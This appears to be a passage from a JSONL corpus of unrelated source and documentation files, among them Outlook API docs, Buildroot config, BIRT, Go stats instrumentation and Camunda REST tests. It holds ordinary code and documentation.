\"^\\\\s*(\\\\:|a(?!u|p)|p)\",\n \"LINT\": \"LINT\",\n \"TOT\": \"TOT\",\n \"CHAST\": \"CHAST\",\n \"NZST\": \"NZST\",\n \"NFT\": \"NFT\",\n \"SBT\": \"SBT\",\n \"AEST\": \"AEST\",\n \"ACST\": \"ACST\",\n \"JST\": \"JST\",\n \"CWST\": \"CWST\",\n \"CT\": \"CT\",\n \"ICT\": \"ICT\",\n \"MMT\": \"MMT\",\n \"BIOT\": \"BST\",\n \"NPT\": \"NPT\",\n \"IST\": \"IST\",\n \"PKT\": \"PKT\",\n \"AFT\": \"AFT\",\n \"MSK\": \"MSK\",\n \"IRST\": \"IRST\",\n \"FET\": \"FET\",\n \"EET\": \"EET\",\n \"CET\": \"CET\",\n \"UTC\": \"UTC\",\n \"GMT\": \"GMT\",\n \"CVT\": \"CVT\",\n \"GST\": \"GST\",\n \"BRT\": \"BRT\",\n \"NST\": \"NST\",\n \"AST\": \"AST\",\n \"EST\": \"EST\",\n \"CST\": \"CST\",\n \"MST\": \"MST\",\n \"PST\": \"PST\",\n \"AKST\": \"AKST\",\n \"MIT\": \"MIT\",\n \"HST\": \"HST\",\n \"SST\": \"SST\",\n \"BIT\": \"BIT\",\n \"CHADT\": \"CHADT\",\n \"NZDT\": \"NZDT\",\n \"AEDT\": \"AEDT\",\n \"ACDT\": \"ACDT\",\n \"AZST\": \"AZST\",\n \"IRDT\": \"IRDT\",\n \"EEST\": \"EEST\",\n \"CEST\": \"CEST\",\n \"BST\": \"BST\",\n \"PMDT\": \"PMDT\",\n \"ADT\": \"ADT\",\n \"NDT\": \"NDT\",\n \"EDT\": \"EDT\",\n \"CDT\": \"CDT\",\n \"MDT\": \"MDT\",\n \"PDT\": \"PDT\",\n \"AKDT\": \"AKDT\",\n \"HADT\": \"HADT\"\n};\nDate.CultureStrings.lang = \"lt-LT\";\n"} {"text": "---\ntitle: AppointmentItem.Move Method (Outlook)\nkeywords: vbaol11.chm872\nf1_keywords:\n- vbaol11.chm872\nms.prod: outlook\napi_name:\n- Outlook.AppointmentItem.Move\nms.assetid: 29f3a845-cf7d-e598-45c5-1e67e8985215\nms.date: 06/08/2017\n---\n\n\n# AppointmentItem.Move Method (Outlook)\n\nMoves a Microsoft Outlook item to a new folder.\n\n\n## Syntax\n\n _expression_ . **Move**( **_DestFldr_** )\n\n _expression_ A variable that represents an **AppointmentItem** object.\n\n\n### Parameters\n\n\n\n|**Name**|**Required/Optional**|**Data Type**|**Description**|\n|:-----|:-----|:-----|:-----|\n| _DestFldr_|Required| **[Folder](folder-object-outlook.md)**|The destination folder.|\n\n### Return Value\n\nAn **Object** value that represents the item which has been moved to the designated folder.\n\n\n## See also\n\n\n#### Concepts\n\n\n[AppointmentItem Object](appointmentitem-object-outlook.md)\n\n"} {"text": "config BR2_PACKAGE_XLIB_LIBXFT\n\tbool \"libXft\"\n\tselect BR2_PACKAGE_FONTCONFIG\n\tselect BR2_PACKAGE_FREETYPE\n\tselect BR2_PACKAGE_XLIB_LIBX11\n\tselect BR2_PACKAGE_XLIB_LIBXEXT\n\tselect BR2_PACKAGE_XLIB_LIBXRENDER\n\tselect BR2_PACKAGE_XORGPROTO\n\thelp\n\t X.Org Xft library\n"} {"text": "/***********************************************************************\n * Copyright (c) 2004 Actuate Corporation.\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the Eclipse Public License v1.0\n * which accompanies this distribution, and is available at\n * http://www.eclipse.org/legal/epl-v10.html\n *\n * Contributors:\n * Actuate Corporation - initial API and implementation\n ***********************************************************************/\n\npackage org.eclipse.birt.chart.computation.withoutaxes;\n\nimport org.eclipse.birt.chart.computation.DataPointHints;\nimport org.eclipse.birt.chart.computation.DataSetIterator;\nimport org.eclipse.birt.chart.computation.GObjectFactory;\nimport org.eclipse.birt.chart.computation.IGObjectFactory;\nimport org.eclipse.birt.chart.engine.i18n.Messages;\nimport org.eclipse.birt.chart.exception.ChartException;\nimport org.eclipse.birt.chart.model.attribute.Bounds;\nimport org.eclipse.birt.chart.model.data.NumberDataElement;\nimport org.eclipse.birt.chart.plugin.ChartEnginePlugin;\nimport org.eclipse.birt.chart.render.ISeriesRenderingHints;\n\n/**\n * SeriesRenderingHints\n */\npublic class SeriesRenderingHints implements ISeriesRenderingHints\n{\n\n\tprivate int iDataSetStructure = UNDEFINED;\n\n\tprivate final DataSetIterator dsiBase;\n\n\tprivate final DataSetIterator dsiOrthogonal;\n\n\tprivate final DataPointHints[] dpha;\n\n\tprivate final PlotWithoutAxes pwoa;\n\n\tprivate final static IGObjectFactory goFactory = GObjectFactory.instance( );\n\n\t/**\n\t * The constructor.\n\t * \n\t * @param pwoa\n\t * @param dpha\n\t * @param dsiBase\n\t * @param dsiOrthogonal\n\t */\n\tSeriesRenderingHints( PlotWithoutAxes pwoa, DataPointHints[] dpha,\n\t\t\tDataSetIterator dsiBase, DataSetIterator dsiOrthogonal )\n\t{\n\t\tthis.pwoa = pwoa;\n\t\tthis.dpha = dpha;\n\t\tthis.dsiBase = dsiBase;\n\t\tthis.dsiOrthogonal = dsiOrthogonal;\n\n\t\t// DEFINE THE DATA SET STRUCTURES\n\t\tif ( dsiBase.size( ) != dsiOrthogonal.size( ) )\n\t\t{\n\t\t\tiDataSetStructure |= BASE_ORTHOGONAL_OUT_OF_SYNC;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tiDataSetStructure = BASE_ORTHOGONAL_IN_SYNC;\n\t\t}\n\t\tif ( dsiBase.isEmpty( ) )\n\t\t{\n\t\t\tiDataSetStructure |= BASE_EMPTY;\n\t\t}\n\t\tif ( dsiOrthogonal.isEmpty( ) )\n\t\t{\n\t\t\tiDataSetStructure |= ORTHOGONAL_EMPTY;\n\t\t}\n\t}\n\n\tpublic final DataPointHints[] getDataPoints( )\n\t{\n\t\treturn dpha;\n\t}\n\n\tpublic final Double[] asDoubleValues( ) throws ChartException\n\t{\n\t\tfinal int iCount = dpha.length;\n\t\tfinal Double[] doa = new Double[iCount];\n\t\tNumberDataElement nde;\n\t\tObject o;\n\n\t\tfor ( int i = 0; i < iCount; i++ )\n\t\t{\n\t\t\to = dpha[i].getOrthogonalValue( );\n\t\t\tif ( o instanceof NumberDataElement )\n\t\t\t{\n\t\t\t\tnde = (NumberDataElement) o;\n\t\t\t\tdoa[i] = new Double( nde.getValue( ) );\n\t\t\t}\n\t\t\telse if ( o == null )\n\t\t\t{\n\t\t\t\tdoa[i] = null;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow new ChartException( ChartEnginePlugin.ID,\n\t\t\t\t\t\tChartException.DATA_FORMAT,\n\t\t\t\t\t\t\"exception.dataset.non.numerical.to.numerical\", //$NON-NLS-1$\n\t\t\t\t\t\tnew Object[]{\n\t\t\t\t\t\t\to\n\t\t\t\t\t\t},\n\t\t\t\t\t\tMessages.getResourceBundle( pwoa.getRunTimeContext( )\n\t\t\t\t\t\t\t\t.getULocale( ) ) );\n\t\t\t}\n\t\t}\n\t\treturn doa;\n\t}\n\n\tpublic final double[] asPrimitiveDoubleValues( ) throws ChartException\n\t{\n\t\tfinal int iCount = dpha.length;\n\t\tfinal double[] doa = new double[iCount];\n\t\tObject o;\n\n\t\tfor ( int i = 0; i < iCount; i++ )\n\t\t{\n\t\t\to = dpha[i].getOrthogonalValue( );\n\t\t\tif ( o instanceof Number )\n\t\t\t{\n\t\t\t\tdoa[i] = ( (Number) o ).doubleValue( );\n\t\t\t}\n\t\t\telse if ( o == null )\n\t\t\t{\n\t\t\t\tdoa[i] = Double.NaN;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow new ChartException( ChartEnginePlugin.ID,\n\t\t\t\t\t\tChartException.DATA_FORMAT,\n\t\t\t\t\t\t\"exception.dataset.non.numerical.to.numerical\", //$NON-NLS-1$\n\t\t\t\t\t\tnew Object[]{\n\t\t\t\t\t\t\to\n\t\t\t\t\t\t},\n\t\t\t\t\t\tMessages.getResourceBundle( pwoa.getRunTimeContext( )\n\t\t\t\t\t\t\t\t.getULocale( ) ) );\n\t\t\t}\n\t\t}\n\t\treturn doa;\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see org.eclipse.birt.chart.render.ISeriesRenderingHints#getDataSetStructure()\n\t */\n\tpublic int getDataSetStructure( )\n\t{\n\t\treturn iDataSetStructure;\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see org.eclipse.birt.chart.render.ISeriesRenderingHints#getBaseDataSet()\n\t */\n\tpublic DataSetIterator getBaseDataSet( )\n\t{\n\t\treturn dsiBase;\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see org.eclipse.birt.chart.render.ISeriesRenderingHints#getOrthogonalDataSet()\n\t */\n\tpublic DataSetIterator getOrthogonalDataSet( )\n\t{\n\t\treturn dsiOrthogonal;\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see org.eclipse.birt.chart.render.ISeriesRenderingHints#getClientAreaBounds(boolean)\n\t */\n\tpublic Bounds getClientAreaBounds( boolean bReduceByInsets )\n\t{\n\t\tfinal Bounds boClientArea = goFactory.copyOf( pwoa.getPlotBounds( ) );\n\t\tif ( bReduceByInsets )\n\t\t{\n\t\t\tboClientArea.adjust( pwoa.getPlotInsets( ) );\n\t\t}\n\t\treturn boClientArea;\n\t}\n}"} {"text": "package suanfa;\n\nimport java.util.HashMap;\n\n/**\n * @auther: TKQ\n * @Title: LeetCode_387_346\n * @Copyright: Copyright (c) 2019\n * @Description:\n * @Company:\n * @Created: 2019-12-08 17:41\n */\npublic class LeetCode_387_346 {\n\n public int firstUniqChar(String s) {\n HashMap hm = new HashMap();\n for (int i = 0; i < s.length(); i++) {\n hm.put(s.charAt(i), hm.getOrDefault(s.charAt(i), 0) + 1);\n }\n for (int i = 0; i < s.length(); i++) {\n if (hm.get(s.charAt(i)) == 1) {\n return i;\n }\n }\n return -1;\n }\n}\n"} {"text": "assertSame('😀', Emoji::CHARACTER_GRINNING_FACE);\n $this->assertSame('🥰', Emoji::CHARACTER_SMILING_FACE_WITH_HEARTS);\n $this->assertSame('🔟', Emoji::CHARACTER_KEYCAP_10);\n }\n\n /** @test */\n public function it_provides_a_convenience_method_to_return_emoji_characters()\n {\n $this->assertSame('😀', Emoji::grinningFace());\n $this->assertSame('🥰', Emoji::smilingFaceWithHearts());\n $this->assertSame('🔟', Emoji::keycap10());\n $this->assertSame('🥇', Emoji::firstPlaceMedal());\n $this->assertSame('🥈', Emoji::secondPlaceMedal());\n $this->assertSame('🥉', Emoji::thirdPlaceMedal());\n }\n\n /** @test */\n public function it_can_return_the_skin_tone_component_emoji()\n {\n $this->assertSame('🏻', Emoji::lightSkinTone());\n }\n\n /** @test */\n public function it_will_throw_an_exception_when_getting_unknown_characters()\n {\n $this->expectException(UnknownCharacter::class);\n\n Emoji::thisCharacterDoesNotExist();\n }\n\n /** @test */\n public function it_will_return_an_emoji_character_when_given_a_language_code()\n {\n $this->assertSame('🇧🇪', Emoji::countryFlag('BE'));\n $this->assertSame('🇧🇪', Emoji::countryFlag('be'));\n $this->assertSame('🇦🇦', Emoji::countryFlag('AA'));\n }\n\n /**\n * @test\n *\n * @dataProvider invalidCountryCodeProvider\n */\n public function it_will_throw_an_exception_when_try_to_get_a_flag_for_a_string_that_doesnt_have_two_characters(string $invalidCountryCode)\n {\n $this->expectException(CouldNotDetermineFlag::class);\n\n Emoji::countryFlag($invalidCountryCode);\n }\n\n /**\n * @test\n *\n * @dataProvider codeToCallableProvider\n */\n public function can_access_emoji_by_constant($name, $code, $cleanName, $const, $method)\n {\n $this->assertEquals($this->unicodeHexToEmoji($code), Emoji::{$method}());\n }\n\n /**\n * @test\n *\n * @dataProvider codeToCallableProvider\n */\n public function can_access_emoji_by_method($name, $code, $cleanName, $const, $method)\n {\n $this->assertEquals($this->unicodeHexToEmoji($code), constant(Emoji::class.'::'.$const));\n }\n\n public function invalidCountryCodeProvider()\n {\n return [\n [''],\n ['a'],\n ['aaa'],\n ];\n }\n\n public function codeToCallableProvider(): array\n {\n return json_decode(file_get_contents(__DIR__.'/emojis.json'), true);\n }\n\n private function unicodeHexToEmoji(string $code)\n {\n return mb_convert_encoding(hex2bin(implode('', array_map(function ($hex) {\n return str_pad($hex, 8, '0', STR_PAD_LEFT);\n }, explode(' ', trim(str_replace('}\\u{', ' ', $code), '}\\u{'))))), 'UTF-8', 'UTF-32');\n }\n}\n"} {"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \n\n@class NSOperationQueue, SKUIClientContext, SKUIITunesPassConfiguration, UIImage;\n\n@interface SKUIRedeemConfiguration : NSObject\n{\n long long _category;\n SKUIClientContext *_clientContext;\n UIImage *_inputImage;\n SKUIITunesPassConfiguration *_itunesPassConfiguration;\n UIImage *_landingImage;\n NSOperationQueue *_operationQueue;\n UIImage *_successImage;\n}\n\n@property(readonly, nonatomic) UIImage *successImage; // @synthesize successImage=_successImage;\n@property(readonly, nonatomic) NSOperationQueue *operationQueue; // @synthesize operationQueue=_operationQueue;\n@property(readonly, nonatomic) UIImage *landingImage; // @synthesize landingImage=_landingImage;\n@property(readonly, nonatomic) SKUIITunesPassConfiguration *ITunesPassConfiguration; // @synthesize ITunesPassConfiguration=_itunesPassConfiguration;\n@property(readonly, nonatomic) UIImage *inputImage; // @synthesize inputImage=_inputImage;\n@property(readonly, nonatomic) SKUIClientContext *clientContext; // @synthesize clientContext=_clientContext;\n@property(readonly, nonatomic) long long category; // @synthesize category=_category;\n- (void).cxx_destruct;\n- (void)_setSuccessImage:(id)arg1;\n- (void)_setLandingImage:(id)arg1;\n- (void)_setInputImage:(id)arg1;\n- (id)_redeemPreflightRequestBodyData;\n- (void)_loadDefaultImages;\n- (void)_loadConfigurationWithURLBagDictionary:(id)arg1 completionBlock:(CDUnknownBlockType)arg2;\n- (void)_didLoadWithResponseDictionary:(id)arg1;\n- (void)loadConfigurationWithCompletionBlock:(CDUnknownBlockType)arg1;\n- (id)initWithOperationQueue:(id)arg1 category:(long long)arg2 clientContext:(id)arg3;\n\n@end\n\n"} {"text": "// Copyright 2019-present Facebook Inc. All rights reserved.\n// This source code is licensed under the Apache 2.0 license found\n// in the LICENSE file in the root directory of this source tree.\n\npackage ocgremlin\n\nimport (\n\t\"context\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/facebook/ent/dialect/gremlin\"\n\n\t\"go.opencensus.io/stats\"\n\t\"go.opencensus.io/stats/view\"\n\t\"go.opencensus.io/tag\"\n)\n\n// The following measures are supported for use in custom views.\nvar (\n\tRequestCount = stats.Int64(\n\t\t\"gremlin/request_count\",\n\t\t\"Number of Gremlin requests started\",\n\t\tstats.UnitDimensionless,\n\t)\n\tResponseBytes = stats.Int64(\n\t\t\"gremlin/response_bytes\",\n\t\t\"Total number of bytes in response data\",\n\t\tstats.UnitBytes,\n\t)\n\tRoundTripLatency = stats.Float64(\n\t\t\"gremlin/roundtrip_latency\",\n\t\t\"End-to-end latency\",\n\t\tstats.UnitMilliseconds,\n\t)\n)\n\n// The following tags are applied to stats recorded by this package.\nvar (\n\t// StatusCode is the numeric Gremlin response status code,\n\t// or \"error\" if a transport error occurred and no status code was read.\n\tStatusCode, _ = tag.NewKey(\"gremlin_status_code\")\n)\n\n// Default distributions used by views in this package.\nvar (\n\tDefaultSizeDistribution = view.Distribution(32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65536, 131072, 262144, 524288, 1048576)\n\tDefaultLatencyDistribution = view.Distribution(1, 2, 3, 4, 5, 6, 8, 10, 13, 16, 20, 25, 30, 40, 50, 65, 80, 100, 130, 160, 200, 250, 300, 400, 500, 650, 800, 1000, 2000, 5000, 10000, 20000, 50000, 100000)\n)\n\n// Package ocgremlin provides some convenience views for measures.\n// You still need to register these views for data to actually be collected.\nvar (\n\tRequestCountView = &view.View{\n\t\tName: \"gremlin/request_count\",\n\t\tMeasure: RequestCount,\n\t\tAggregation: view.Count(),\n\t\tDescription: \"Count of Gremlin requests started\",\n\t}\n\n\tResponseCountView = &view.View{\n\t\tName: \"gremlin/response_count\",\n\t\tMeasure: RoundTripLatency,\n\t\tAggregation: view.Count(),\n\t\tDescription: \"Count of responses received, by response status\",\n\t\tTagKeys: []tag.Key{StatusCode},\n\t}\n\n\tResponseBytesView = &view.View{\n\t\tName: \"gremlin/response_bytes\",\n\t\tMeasure: ResponseBytes,\n\t\tAggregation: DefaultSizeDistribution,\n\t\tDescription: \"Total number of bytes in response data\",\n\t}\n\n\tRoundTripLatencyView = &view.View{\n\t\tName: \"gremlin/roundtrip_latency\",\n\t\tMeasure: RoundTripLatency,\n\t\tAggregation: DefaultLatencyDistribution,\n\t\tDescription: \"End-to-end latency, by response code\",\n\t\tTagKeys: []tag.Key{StatusCode},\n\t}\n)\n\n// Views are the default views provided by this package.\nfunc Views() []*view.View {\n\treturn []*view.View{\n\t\tRequestCountView,\n\t\tResponseCountView,\n\t\tResponseBytesView,\n\t\tRoundTripLatencyView,\n\t}\n}\n\n// statsTransport is an gremlin.RoundTripper that collects stats for the outgoing requests.\ntype statsTransport struct {\n\tbase gremlin.RoundTripper\n}\n\nfunc (t statsTransport) RoundTrip(ctx context.Context, req *gremlin.Request) (*gremlin.Response, error) {\n\tstats.Record(ctx, RequestCount.M(1))\n\tstart := time.Now()\n\trsp, err := t.base.RoundTrip(ctx, req)\n\tlatency := float64(time.Since(start)) / float64(time.Millisecond)\n\tvar (\n\t\ttags = make([]tag.Mutator, 1)\n\t\tms = []stats.Measurement{RoundTripLatency.M(latency)}\n\t)\n\tif err == nil {\n\t\ttags[0] = tag.Upsert(StatusCode, strconv.Itoa(rsp.Status.Code))\n\t\tms = append(ms, ResponseBytes.M(int64(len(rsp.Result.Data))))\n\t} else {\n\t\ttags[0] = tag.Upsert(StatusCode, \"error\")\n\t}\n\t_ = stats.RecordWithTags(ctx, tags, ms...)\n\treturn rsp, err\n}\n"} {"text": "/*\n * Copyright Camunda Services GmbH and/or licensed to Camunda Services GmbH\n * under one or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. Camunda licenses this file to you under the Apache License,\n * Version 2.0; you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.camunda.bpm.engine.rest.history;\n\nimport io.restassured.http.ContentType;\nimport io.restassured.response.Response;\nimport org.camunda.bpm.engine.AuthorizationException;\nimport org.camunda.bpm.engine.BadUserRequestException;\nimport org.camunda.bpm.engine.HistoryService;\nimport org.camunda.bpm.engine.ProcessEngineException;\nimport org.camunda.bpm.engine.batch.Batch;\nimport org.camunda.bpm.engine.exception.NotFoundException;\nimport org.camunda.bpm.engine.history.HistoricProcessInstance;\nimport org.camunda.bpm.engine.history.HistoricProcessInstanceQuery;\nimport org.camunda.bpm.engine.history.SetRemovalTimeSelectModeForHistoricProcessInstancesBuilder;\nimport org.camunda.bpm.engine.history.SetRemovalTimeToHistoricProcessInstancesBuilder;\nimport org.camunda.bpm.engine.impl.HistoricProcessInstanceQueryImpl;\nimport org.camunda.bpm.engine.rest.AbstractRestServiceTest;\nimport org.camunda.bpm.engine.rest.dto.batch.BatchDto;\nimport org.camunda.bpm.engine.rest.dto.history.HistoricProcessInstanceQueryDto;\nimport org.camunda.bpm.engine.rest.exception.InvalidRequestException;\nimport org.camunda.bpm.engine.rest.helper.MockProvider;\nimport org.camunda.bpm.engine.rest.util.JsonPathUtil;\nimport org.camunda.bpm.engine.rest.util.container.TestContainerRule;\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.junit.ClassRule;\nimport org.junit.Test;\nimport org.mockito.ArgumentCaptor;\nimport org.mockito.Mockito;\n\nimport javax.ws.rs.core.Response.Status;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static io.restassured.RestAssured.given;\nimport static io.restassured.path.json.JsonPath.from;\nimport static org.assertj.core.api.Assertions.assertThat;\nimport static org.camunda.bpm.engine.rest.helper.MockProvider.EXAMPLE_DECISION_INSTANCE_ID;\nimport static org.hamcrest.Matchers.containsString;\nimport static org.hamcrest.Matchers.equalTo;\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertNotNull;\nimport static org.mockito.Matchers.any;\nimport static org.mockito.Matchers.anyListOf;\nimport static org.mockito.Matchers.anyString;\nimport static org.mockito.Matchers.eq;\nimport static org.mockito.Mockito.RETURNS_DEEP_STUBS;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.verifyNoMoreInteractions;\nimport static org.mockito.Mockito.when;\n\npublic class HistoricProcessInstanceRestServiceInteractionTest extends AbstractRestServiceTest {\n\n @ClassRule\n public static TestContainerRule rule = new TestContainerRule();\n \n protected static final String DELETE_REASON = \"deleteReason\";\n protected static final String TEST_DELETE_REASON = \"test\";\n protected static final String FAIL_IF_NOT_EXISTS = \"failIfNotExists\";\n protected static final String HISTORIC_PROCESS_INSTANCE_URL = TEST_RESOURCE_ROOT_PATH + \"/history/process-instance\";\n protected static final String HISTORIC_SINGLE_PROCESS_INSTANCE_URL = HISTORIC_PROCESS_INSTANCE_URL + \"/{id}\";\n protected static final String DELETE_HISTORIC_PROCESS_INSTANCES_ASYNC_URL = HISTORIC_PROCESS_INSTANCE_URL + \"/delete\";\n protected static final String SET_REMOVAL_TIME_HISTORIC_PROCESS_INSTANCES_ASYNC_URL = HISTORIC_PROCESS_INSTANCE_URL + \"/set-removal-time\";\n protected static final String HISTORIC_SINGLE_PROCESS_INSTANCE_VARIABLES_URL = HISTORIC_PROCESS_INSTANCE_URL + \"/{id}/variable-instances\";\n\n private HistoryService historyServiceMock;\n\n @Before\n public void setUpRuntimeData() {\n historyServiceMock = mock(HistoryService.class);\n\n // runtime service\n when(processEngine.getHistoryService()).thenReturn(historyServiceMock);\n }\n\n @Test\n public void testGetSingleInstance() {\n HistoricProcessInstance mockInstance = MockProvider.createMockHistoricProcessInstance();\n HistoricProcessInstanceQuery sampleInstanceQuery = mock(HistoricProcessInstanceQuery.class);\n\n when(historyServiceMock.createHistoricProcessInstanceQuery()).thenReturn(sampleInstanceQuery);\n when(sampleInstanceQuery.processInstanceId(MockProvider.EXAMPLE_PROCESS_INSTANCE_ID)).thenReturn(sampleInstanceQuery);\n when(sampleInstanceQuery.singleResult()).thenReturn(mockInstance);\n\n Response response = given().pathParam(\"id\", MockProvider.EXAMPLE_PROCESS_INSTANCE_ID)\n .then().expect().statusCode(Status.OK.getStatusCode())\n .when().get(HISTORIC_SINGLE_PROCESS_INSTANCE_URL);\n\n String content = response.asString();\n\n String returnedProcessInstanceId = from(content).getString(\"id\");\n String returnedProcessInstanceBusinessKey = from(content).getString(\"businessKey\");\n String returnedProcessDefinitionId = from(content).getString(\"processDefinitionId\");\n String returnedProcessDefinitionKey = from(content).getString(\"processDefinitionKey\");\n String returnedStartTime = from(content).getString(\"startTime\");\n String returnedEndTime = from(content).getString(\"endTime\");\n long returnedDurationInMillis = from(content).getLong(\"durationInMillis\");\n String returnedStartUserId = from(content).getString(\"startUserId\");\n String returnedStartActivityId = from(content).getString(\"startActivityId\");\n String returnedDeleteReason = from(content).getString(DELETE_REASON);\n String returnedSuperProcessInstanceId = from(content).getString(\"superProcessInstanceId\");\n String returnedSuperCaseInstanceId = from(content).getString(\"superCaseInstanceId\");\n String returnedCaseInstanceId = from(content).getString(\"caseInstanceId\");\n String returnedTenantId = from(content).getString(\"tenantId\");\n String returnedState = from(content).getString(\"state\");\n\n Assert.assertEquals(MockProvider.EXAMPLE_PROCESS_INSTANCE_ID, returnedProcessInstanceId);\n Assert.assertEquals(MockProvider.EXAMPLE_PROCESS_INSTANCE_BUSINESS_KEY, returnedProcessInstanceBusinessKey);\n Assert.assertEquals(MockProvider.EXAMPLE_PROCESS_DEFINITION_ID, returnedProcessDefinitionId);\n Assert.assertEquals(MockProvider.EXAMPLE_PROCESS_DEFINITION_KEY, returnedProcessDefinitionKey);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_START_TIME, returnedStartTime);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_END_TIME, returnedEndTime);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_DURATION_MILLIS, returnedDurationInMillis);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_START_USER_ID, returnedStartUserId);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_START_ACTIVITY_ID, returnedStartActivityId);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_DELETE_REASON, returnedDeleteReason);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_SUPER_PROCESS_INSTANCE_ID, returnedSuperProcessInstanceId);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_SUPER_CASE_INSTANCE_ID, returnedSuperCaseInstanceId);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_CASE_INSTANCE_ID, returnedCaseInstanceId);\n Assert.assertEquals(MockProvider.EXAMPLE_TENANT_ID, returnedTenantId);\n Assert.assertEquals(MockProvider.EXAMPLE_HISTORIC_PROCESS_INSTANCE_STATE, returnedState);\n\n }\n\n @Test\n public void testGetNonExistingProcessInstance() {\n HistoricProcessInstanceQuery sampleInstanceQuery = mock(HistoricProcessInstanceQuery.class);\n\n when(historyServiceMock.createHistoricProcessInstanceQuery()).thenReturn(sampleInstanceQuery);\n when(sampleInstanceQuery.processInstanceId(anyString())).thenReturn(sampleInstanceQuery);\n when(sampleInstanceQuery.singleResult()).thenReturn(null);\n\n given().pathParam(\"id\", \"aNonExistingInstanceId\")\n .then().expect().statusCode(Status.NOT_FOUND.getStatusCode()).contentType(ContentType.JSON)\n .body(\"type\", equalTo(InvalidRequestException.class.getSimpleName()))\n .body(\"message\", equalTo(\"Historic process instance with id aNonExistingInstanceId does not exist\"))\n .when().get(HISTORIC_SINGLE_PROCESS_INSTANCE_URL);\n }\n\n @Test\n public void testDeleteProcessInstance() {\n given().pathParam(\"id\", MockProvider.EXAMPLE_PROCESS_INSTANCE_ID)\n .then().expect().statusCode(Status.NO_CONTENT.getStatusCode())\n .when().delete(HISTORIC_SINGLE_PROCESS_INSTANCE_URL);\n\n verify(historyServiceMock).deleteHistoricProcessInstance(MockProvider.EXAMPLE_PROCESS_INSTANCE_ID);\n }\n\n @Test\n public void testDeleteNonExistingProcessInstance() {\n doThrow(new ProcessEngineException(\"expected exception\")).when(historyServiceMock).deleteHistoricProcessInstance(anyString());\n\n given().pathParam(\"id\", MockProvider.EXAMPLE_PROCESS_INSTANCE_ID)\n .then().expect().statusCode(Status.NOT_FOUND.getStatusCode()).contentType(ContentType.JSON)\n .body(\"type\", equalTo(InvalidRequestException.class.getSimpleName()))\n .body(\"message\", equalTo(\"Historic process instance with id \" + MockProvider.EXAMPLE_PROCESS_INSTANCE_ID + \" does not exist\"))\n .when().delete(HISTORIC_SINGLE_PROCESS_INSTANCE_URL);\n }\n\n @Test\n public void testDeleteNonExistingProcessInstanceIfExists() {\n given().pathParam(\"id\", MockProvider.EXAMPLE_PROCESS_INSTANCE_ID).queryParam(\"failIfNotExists\", false)\n .then().expect().statusCode(Status.NO_CONTENT.getStatusCode())\n .when().delete(HISTORIC_SINGLE_PROCESS_INSTANCE_URL);\n \n verify(historyServiceMock).deleteHistoricProcessInstanceIfExists(MockProvider.EXAMPLE_PROCESS_INSTANCE_ID);\n }\n\n @Test\n public void testDeleteProcessInstanceThrowsAuthorizationException() {\n String message = \"expected exception\";\n doThrow(new AuthorizationException(message)).when(historyServiceMock).deleteHistoricProcessInstance(anyString());\n\n given()\n .pathParam(\"id\", MockProvider.EXAMPLE_PROCESS_INSTANCE_ID)\n .then().expect()\n .statusCode(Status.FORBIDDEN.getStatusCode())\n .contentType(ContentType.JSON)\n .body(\"type\", equalTo(AuthorizationException.class.getSimpleName()))\n .body(\"message\", equalTo(message))\n .when()\n .delete(HISTORIC_SINGLE_PROCESS_INSTANCE_URL);\n }\n\n @Test\n public void testDeleteAsync() {\n List ids = Arrays.asList(MockProvider.EXAMPLE_PROCESS_INSTANCE_ID);\n Batch batchEntity = MockProvider.createMockBatch();\n when(historyServiceMock.deleteHistoricProcessInstancesAsync(\n anyListOf(String.class),\n any(HistoricProcessInstanceQuery.class),\n anyString())\n ).thenReturn(batchEntity);\n\n Map messageBodyJson = new HashMap();\n messageBodyJson.put(\"historicProcessInstanceIds\", ids);\n messageBodyJson.put(DELETE_REASON, TEST_DELETE_REASON);\n\n Response response = given()\n .contentType(ContentType.JSON).body(messageBodyJson)\n .then().expect()\n .statusCode(Status.OK.getStatusCode())\n .when().post(DELETE_HISTORIC_PROCESS_INSTANCES_ASYNC_URL);\n\n verifyBatchJson(response.asString());\n\n verify(historyServiceMock, times(1)).deleteHistoricProcessInstancesAsync(\n eq(ids), eq((HistoricProcessInstanceQuery) null), 